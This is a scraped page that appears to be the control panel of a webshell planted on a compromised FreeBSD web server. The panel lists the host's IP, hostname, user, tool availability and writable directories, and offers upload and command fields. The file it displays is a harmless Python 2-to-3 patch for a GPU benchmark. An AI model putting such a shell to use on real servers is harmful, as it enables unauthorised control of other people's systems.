403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/benchmarks/linux-gputest/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/benchmarks/linux-gputest/files/patch-gputest__gui.py
--- gputest_gui.py.orig	2014-03-04 02:16:44 UTC
+++ gputest_gui.py
@@ -7,7 +7,7 @@
 
 import os
 #from subprocess import call
-import Tkinter as tk
+import tkinter as tk
 
 
 root = tk.Tk()
@@ -90,7 +90,7 @@ def prepare_command_line():
     index = cs[0]
     seltext = listbox1.get(index)
   else:
-    print "\nPlease select a test (FurMark is the default test)."
+    print("\nPlease select a test (FurMark is the default test).")
     index = 0
     seltext = listbox1.get(index)
   
@@ -98,7 +98,7 @@ def prepare_command_line():
   for demo in allDemos:
     if demo.demo_name == seltext:
       demo_code = demo.demo_code
-  g_command_line = "./GpuTest /test='%s' /width=%d /height=%d /gpumon_terminal" % (demo_code, g_width, g_height)
+  g_command_line = "gputest /test='%s' /width=%d /height=%d /gpumon_terminal" % (demo_code, g_width, g_height)
   if (fullscreen.get() == 1):
     g_command_line += " /fullscreen"
     

Youez - 2016 - github.com/yon3zu
LinuXploit